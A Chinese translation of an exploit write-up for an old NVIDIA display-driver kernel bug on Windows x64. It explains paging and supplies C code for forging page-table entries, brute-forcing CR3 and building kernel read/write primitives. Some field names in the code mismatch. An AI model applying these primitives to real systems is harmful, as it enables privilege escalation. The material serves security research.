通过x64分页机制的PTE Space实现内核漏洞利用

通过x64分页机制的PTE Space实现内核漏洞利用_第1张图片

在研究NVIDIA DxgDdiEscape Handler的漏洞时,可以非常明显的感觉到过去几年中讨论的GDI原语的方法对于可靠的利用此漏洞毫无帮助。

因此,我想出了另一个解决方案:可以选择映射一些的特殊的虚拟地址,强制对齐这些地址的页目录,然后使用漏洞来改写这个页目录。

简单来讲,这种操作允许在我们选择的/一直的虚拟地址上映射任意的物理地址。

在接下来的部分中,我将介绍x64分页表的详细信息以及利用此漏洞的特殊技巧。


x64中的分页机制

x64使用了4级页表来映射物理内存与虚拟内存。这4级分别是PML4(Page

Map Level 4)(俗名:PXE),PDPT(Page Directory Pointers),PD(Page

Directory)以及PT(Page Table)。CR3(控制寄存器)保存着当前进程的PML4基地址(物理地址)。

下图是x64下从虚拟内存到物理内存寻址的大致流程:

通过x64分页机制的PTE Space实现内核漏洞利用_第2张图片

举个栗子:

如果我们要遍历虚拟地址为0x71000000000(仅仅是个例子。。):

首先,分解这个虚拟地址:

通过x64分页机制的PTE Space实现内核漏洞利用_第3张图片

虚拟地址的低12位表明了页内偏移。接下来(译注:从低位到高位的顺序)的9位是PT(PageTable)索引,接着是PD(Page Directory)索引,再接下来的9位是PDPT(Page Directory Pointer Table)索引,再往下的9位是PML索引(Page Mapping Level 4)。

我使用了下边这个结构体来表示这些数据:

typedef struct VirtualAddressFields

{

ULONG64  offset : 12;

ULONG64  pt_index : 9;

ULONG64  pd_index : 9;

ULONG64 pdpt_index : 9;

ULONG64 pml4_index : 9;

VirtualAddressFields(ULONG64 value)

{

*(ULONG64 *)this = 0;

offset = value & 0xfff;

pt_index = (value >> 12) & 0x1ff;

pd_index = (value >> 21) & 0x1ff;

pdpt_index = (value >> 30) & 0x1ff;

pml4_index = (value >> 39) & 0x1ff;

}

ULONG64 getVA()

{

ULONG64 res = *(ULONG64 *)this;

return res;

}

} VirtualAddressFields;

比如说:

VirtualAddressFields ADDR1a = 0x71000000000;

0: kd> dt ADDR1a

Local var @ 0x1de4d8 Type VirtualAddressFields

+0x000 offset    : 0y000000000000 (0)

+0x000 pt_index  : 0y000000000 (0)

+0x000 pd_index  : 0y000000000 (0)

+0x000 pdpt_index : 0y001000000 (0x40)

+0x000 pml4_index : 0y000001110 (0xe)

对于我们之前的例子(虚拟地址为0x71000000000)来讲,我们通过上边的结构体获得了pml4_index=0x0E,pdpt_index=x040,pd_idnex=0,pt_indedx=0,offset=0。

通过x64分页机制的PTE Space实现内核漏洞利用_第4张图片

现在,我们知道了对于0x71000000000这个虚拟地址,PML4 目录是0x38a0000040653867

这实际上是一个被称为MMPTE的8字节结构,我们需要从中得到PFN(Page Frame Number)。

通过x64分页机制的PTE Space实现内核漏洞利用_第5张图片

现在,得到了PFN是0x40653。将PFN*PageSize就得到了下一级结构PDPT的基址,然后使用pdpt_index来索引PDPT.

通过x64分页机制的PTE Space实现内核漏洞利用_第6张图片

继续将PFN(0x41cd7)*PageSize得到了下一级结构PD的基址是0x41cd7000。使用pd_index来索引这张表。

通过x64分页机制的PTE Space实现内核漏洞利用_第7张图片
通过x64分页机制的PTE Space实现内核漏洞利用_第8张图片

和之前同样的操作使用PFN(0x3e7d8)* PageSize得到了PT的基址是0x3e7d8000。使用pt_index来索引这张表。

最终,剩下的就是将这个PFN(0x3d7d9)* PageSize + page_offset。

现在我们知道了虚拟地址0x71000000000对应的物理地址是0x3d7d9000。

如果你想更加深入的了解这些机制,可以参考一下资料:

https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-1 https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap

NVIDIA 的漏洞:

最早被Google Project Zero报告,在PDXGKDDI_ESCAPE各种回调中,有一个分支出现了漏洞。这是一个用户模式display驱动程序与display 微端口驱动之间共享数据的接口。

经过一番研究,我决定把重点放在‘NVIDIA:

Unchecked write to user provided pointer in escape

0x600000D’,这条信息上。这个漏洞可以让我们在任意的虚拟地址上写入数据,但是不能控制正在写入的数据或数据的大小。事实上,写入的大部分数据是0,内部代码强制执行了大小检查只允许我们至少写入0x1000(4096)字节。

原始POChttps://bugs.chromium.org/p/project-zero/issues/detail?id=911&can=1&q=NVIDIA%20escape

Exploiting:

由于缺乏对正在写入的数据或者写入数据大小的控制,我不得不放弃最近使用的GDI原语,认识到需要搞点与众不同的事了。

之前讨论的“x64中的分页机制”中的页表有时也存在于被称为"PTE空间"的内存区域,通过对该区域的滥用,我得到了一个解决方案。

PTE空间是Windows内核在需要管理分页结构时使用的虚拟内存区域。(涉及页访问权限,将内容移动到pagefile中,协同内存映射等等。。)

通过一些偏移和掩码,我们可以计算出任何给定虚拟地址(在PTE空间上)的每个表的虚拟地址。

以下代码来自于:https://github.com/JeremyFetiveau/Exploits/blob/master/Bypass_SMEP_DEP/mitigation%20bypass/Computations.cpp)

#define PXE_PAGES_START    0xFFFFF6FB7DBED000      // PML4

#define PDPT_PAGES_START    0xFFFFF6FB7DA00000

#define PDE_PAGES_START    0xFFFFF6FB40000000

#define PTE_PAGES_START    0xFFFFF68000000000

ULONG64 GetPML4VirtualAddress(ULONG64 vaddr) {

vaddr >>= 36;

vaddr >>= 3;

vaddr <<= 3;

vaddr &= 0xfffff6fb7dbedfff;

vaddr |= PXE_PAGES_START;

return vaddr;

}

ULONG64 GetPDPTVirtualAddress(ULONG64 vaddr) {

vaddr >>= 27;

vaddr >>= 3;

vaddr <<= 3;

vaddr &= 0xfffff6fb7dbfffff;

vaddr |= PDPT_PAGES_START;

return vaddr;

}

ULONG64 GetPDEVirtualAddress(ULONG64 vaddr) {

vaddr >>= 18;

vaddr >>= 3;

vaddr <<= 3;

vaddr &= 0xfffff6fb7fffffff;

vaddr |= PDE_PAGES_START;

return vaddr;

}

ULONG64 GetPTEVirtualAddress(ULONG64 vaddr) {

vaddr >>= 9;

vaddr >>= 3;

vaddr <<= 3;

vaddr &= 0xfffff6ffffffffff;

vaddr |= PTE_PAGES_START;

return vaddr;

}

再来一次,对于我们的例子0x71000000000这个虚拟地址来说:

GetPML4VirtualAddress(0x71000000000) 将返回 0xFFFFF6FB7DBED070

通过x64分页机制的PTE Space实现内核漏洞利用_第9张图片

可以通过WINDBG或者KD来确认:

重映射原语(概览)

此刻,我们已经具备了攻击计划的全部要素:

漏洞允许我们写一堆0到任意虚拟地址

PTE空间中的页目录可以被漏洞修改

篡改页表的PFN可以让我们映射任何物理地址

可以使用VirtualAlloc获得一个被映射的虚拟地址(例如:0x71000000000,姑且称这个被映射的虚拟地址位ADDR1a),同时破坏它在PTE空间中的PD目录(例如:FFFFF6FB41C40000)使其指向物理地址0。

看起来就像这样:

此时,我们的原语就已经准备好了。

我们可以通过对0x71080000000处的_MMPTE写入一些数据使这个地址有效。然后从0x71000000000读取和写入。

完成这项工作的宏定义:

#define GetPageEntry(index) (((PMMPTE)(ADDR1a))[(index)])

#define SetPageEntry(index, value) (((PMMPTE)(ADDR2a))[(index)]=(value))

物理0地址:

我们使用物理0地址的原因是漏洞只允许我们写0。但是它到底是怎么起作用的呢???如果物理地址无效,我们的操作将立即导致BSOD。

深入重映射机制:

通过x64分页机制的PTE Space实现内核漏洞利用_第10张图片

一些问题:

1)如何保留_MMPTE的标志位。我们需要至少保留12标志位中的3位以表明我们从RING3中映射的地址是可读可写的。

通过x64分页机制的PTE Space实现内核漏洞利用_第11张图片

可以通过写数据的时候错位1字节的偏移来解决这个问题( 写入FFFFF6FB41C40001来替代写入FFFFF6FB41C40000)。

2)事实上,漏洞需要我们至少写入0x1000字节,这意味着我们需要在FFFFF6FB41C40001来写入ADDR1a的PD表。同时,要确保FFFFF6FB41C41001是一个可以写入的地址。同样,可以通过VirtualAlloc

来解决这个问题,但是,这次映射的地址变为了0x71040000000(称之为ADDR1b)。

分解0x71040000000这个地址之后,它看起来像这样(注意:仅仅将ADDR1a的pfpt_index=0x40改为 `0x41):

通过x64分页机制的PTE Space实现内核漏洞利用_第12张图片

在函数GetPDEVirtualAddress(0x71040000000)执行后,我们得到了FFFFF6FB41C41000。所以我们现在解决了第二个问题。

通过x64分页机制的PTE Space实现内核漏洞利用_第13张图片
通过x64分页机制的PTE Space实现内核漏洞利用_第14张图片

3)这个问题稍微有点复杂,依赖于硬件或者系统。由于性能原因,分页结构被缓存在TLB(Translation Lookaside Buffer,转换检测缓冲区)中。

在使用完映射原语之后,我们需要某种方式来使TLB无效或者刷新TLB,否则对页表所做的操作将不会立即生效(因为旧的值被缓存了)。

尝试强制Windows触发TLB刷新的方式似乎非常依赖于硬件。在某些处理器上,页面错误可能足以强制执行TLB刷新,而在另一些处理器上则需要执行任务切换(CR3重加载),在某些情况下,即使这样做也不够,可能需要IPI(处理器间中断)。

我解决这个问题的方法(尽管不是100%可靠)是尝试以上所有方法。。。

LPVOID pNoAccess = NULL;

STARTUPINFO si = { 0 };

PROCESS_INFORMATION pi = { 0 };

typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);

_NtQueryIntervalProfile NtQueryIntervalProfile;

VOID InitForgeMapping()

{

pNoAccess = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_NOACCESS);

dprint("NOACCESS Page at %llx", pNoAccess);

NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");

CreateProcess(0, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

}

VOID ForcePageFault()

{

DWORD cnt = 0;

while (cnt < 5) {

__try {

*(BYTE *)pNoAccess = 0;

}

__except (EXCEPTION_EXECUTE_HANDLER) {}

cnt++;

}

}

void ForceTaskSwitch()

{

BYTE buffer=0;

SIZE_T _tmp = 0;

ReadProcessMemory(pi.hProcess, (LPCVOID)0x10000, &buffer, 1, &_tmp);

ReadProcessMemory(GetCurrentProcess(), (LPCVOID)&_tmp, &buffer, 1, &_tmp);

FlushInstructionCache(pi.hProcess, (LPCVOID)0x10000, 1);

FlushInstructionCache(GetCurrentProcess(), (LPCVOID)&ForceTaskSwitch, 100);

}

void ForceSyscall()

{

DWORD cnt = 0;

ULONG dummy = 0;

NtQueryIntervalProfile(2, &dummy);

}

VOID MapPageAsUserRW(ULONG64 PhysicalAddress)

{

if (!pNoAccess)

InitForgeMapping();

MMPTE NewMPTE = { 0 };

NewMPTE.u.Hard.Valid = TRUE;

NewMPTE.u.Hard.Write = TRUE;

NewMPTE.u.Hard.Owner = TRUE;

NewMPTE.u.Hard.Accessed = TRUE;

NewMPTE.u.Hard.Dirty = TRUE;

NewMPTE.u.Hard.Writable = TRUE;

NewMPTE.u.Hard.PageFrameNumber = (PhysicalAddress >> 12) & 0xfffffff;

SetPageEntry(0, NewMPTE);

ForcePageFault();

ForceTaskSwitch();

ForceSyscall();

}

4)我们需要知道PML4表的实际物理地址(CR3的值),否则将无法将目标虚拟地址重新映射到我们控制的地址。

假设我们知道我们想写的虚拟地址0xFFFFF900C1F88000有一些特定的值。我们需要遍历分页表PML4-> PDPT-> PD-> PT-> [物理地址],然后将具有该物理地址的有效_MMPTE写入ADDR2a(即:0x71080000000)。

所以当我们写入ADDR1a(即:0x71000000000)时,我们将写入相同的物理内存,就像我们写入0xFFFFF900C1F88000一样。


猜测CR3

为了遍历分页表,我们需要知道PML4的物理地址。

在较新的硬件上,我们可以使用Enrique Nissim的技术在最新的Windows 10版本上猜测我们的PML4条目。(Enrique的论文和代码https://github.com/IOActive/I-know-where-your-page-lives)

但是,我们将重点关注较旧的硬件/ Windows版本(Windows 7/8 / 8.1和10 Gold),所以我们只能通过蛮力来解决这个问题了。

可以在注册表中查询有效的物理地址范围。 (HKLM\HARDWARE\RESOURCEMAP\System Resources\Physical Memory)

通过x64分页机制的PTE Space实现内核漏洞利用_第15张图片

为了简单起见,我将假定有最大范围内有RAM(虽然这不会是100%)。然后,我们可以尝试每个物理页面,直到找到一个具有正确的PML4自引用项(在索引0x1ed)。

for (ULONG64 physical_address = memRange->start; physical_address < memRange->end; physical_address += 0x1000)    {

MapPageAsUserRW(physical_address);

PML4DataCandidate = GetPageEntry(0x1ed);

ULONG64 _filterResult = RemapEntry(PML4DataCandidate, 0);

if (!_filterResult)

continue;

PML4DataCandidate = GetPageEntry(0x1ed);

RecoveredPfn = PML4DataCandidate.u.Hard.PageFrameNumber << 12;

if (RecoveredPfn != physical_address)

continue;

dprint("Match at addr - %llx", physical_address);

gPML4Address = physical_address;

dprint("PML4 at %llx", gPML4Address);

}

5)我们将无法从每个分页开始遍历到最终的物理地址。内存映射到分页文件中也是一个问题,以及文件映射以及其他标志位延缓了PFN真正的值。幸运的是,这似乎并不影响我们对PML4基址的扫描。

恢复PFN:

ULONG64 RemapEntry(MMPTE x, ULONG64 vaddress)

{

if (x.u.Hard.Valid) { // Valid (Present)

if (x.u.Hard.PageFrameNumber == 0)

return 0;

if (x.u.Hard.LargePage) {        // if LargePage is set we don't need to walk any further

ULONG64 finaladdress = (ULONG64(x.u.Hard.PageFrameNumber) << 12) | vaddress & 0x1ff000;

MapPageAsUserRW(finaladdress);

return 2;

} else {

MapPageAsUserRW(x.u.Hard.PageFrameNumber << 12);

return 1;

}

}

return 0;

}

重映射虚拟地址代码:

#define CHECK_RESULT \

if (!page_entry.u.Hard.PageFrameNumber) return 0;  \

if (_filterResult == 0) return 0; \

if (_filterResult == 2) return 1; \

int MapVirtualAddress(ULONG64 pml4_address, ULONG64 vaddress)

{

VirtualAddressFields RequestedVirtualAddress = vaddress;

MapPageAsUserRW(pml4_address);

// PML4e

MMPTE page_entry = GetPageEntry(RequestedVirtualAddress.pml4_index);

ULONG64 _filterResult = RemapEntry(page_entry, vaddress);

CHECK_RESULT

// PDPTe

page_entry = GetPageEntry(RequestedVirtualAddress.pdpt_index);

_filterResult = RemapEntry(page_entry, vaddress);

CHECK_RESULT

// PDe

page_entry = GetPageEntry(RequestedVirtualAddress.pde_index);

_filterResult = RemapEntry(page_entry, vaddress);

CHECK_RESULT

// PTe

page_entry = GetPageEntry(RequestedVirtualAddress.pte_index);

_filterResult = RemapEntry(page_entry, vaddress);

CHECK_RESULT

return 1;

}

读写原语(极小):

BOOL WriteVirtual(ULONG64 dest, BYTE *src, DWORD len)

{

VirtualAddressFields dstflds = dest;

ULONG64 destAligned = (ULONG64)dest & 0xfffffffffffff000;

if (MapVirtualAddress(gPML4Address, destAligned)) {

memcpy((LPVOID)(ADDR1a | dstflds.offset), src, len);

} else {

return FALSE;

}

return TRUE;

}

BOOL ReadVirtual(ULONG64 src, BYTE *dest, DWORD len)

{

VirtualAddressFields srcflds = (ULONG64)src;

ULONG64 srcAligned = (ULONG64)src & 0xfffffffffffff000;

if (MapVirtualAddress(gPML4Address, (ULONG64)srcAligned)) {

memcpy((LPVOID)dest, (LPVOID)(ADDR1a | srcflds.offset), len);

} else {

return FALSE;

}

return TRUE;

}

6)修复PFN数据库和工作集列表是就像Catch 22(第二十二条军规,小说)一样:

成功利用之后,如果需要终止利用,机器将会BSOD。Windows内存管理试图回收当前未使用的页面,会在PFN数据库(nt!mmPfnDatabase)和进程工作集(EPROCESS->Vm->VmWorkingSetList->Wsle)中遇到不匹配的条目。

我们可以遍历PFN数据库寻找 PteAddress 匹配我们的页面入口地址的 MMPFN条目。这将使我们的篡改页面回到原来的PFN和正确的WsIndex。这些数据足够恢复使修改过的条目回到正常的行为。

坏消息是,实际上,只要我们恢复了两个被篡改的分页条目之一(ADDR1a或ADDR2a)回到他们原来的状态,我们将失去读写原语,因此无法单独通过这个技术解决这两个问题。

我解决这个问题的方法是将这种技术与“Abusing GDI for ring0 exploit primitives”中描述的技术相结合。使用Paging table原语来破坏位图,并从中使用GDI原语来恢复我们相关的mmPfnDatabase条目。


总结

考虑到bug的限制,需要真正的硬件(不可能进行虚拟机调试)以及Windows工作集微调整导致的额外不稳定性,这是一个很难利用的漏洞。

我希望这种技术虽然不完整,或者说有点过时,但仍然可以被其他漏洞挖掘人员使用。

通过x64分页机制的PTE Space实现内核漏洞利用_第16张图片

本文由看雪翻译小组 zplusplus 编译,来源@binaryninja  转载请注明来自看雪社区

你可能感兴趣的:(通过x64分页机制的PTE Space实现内核漏洞利用)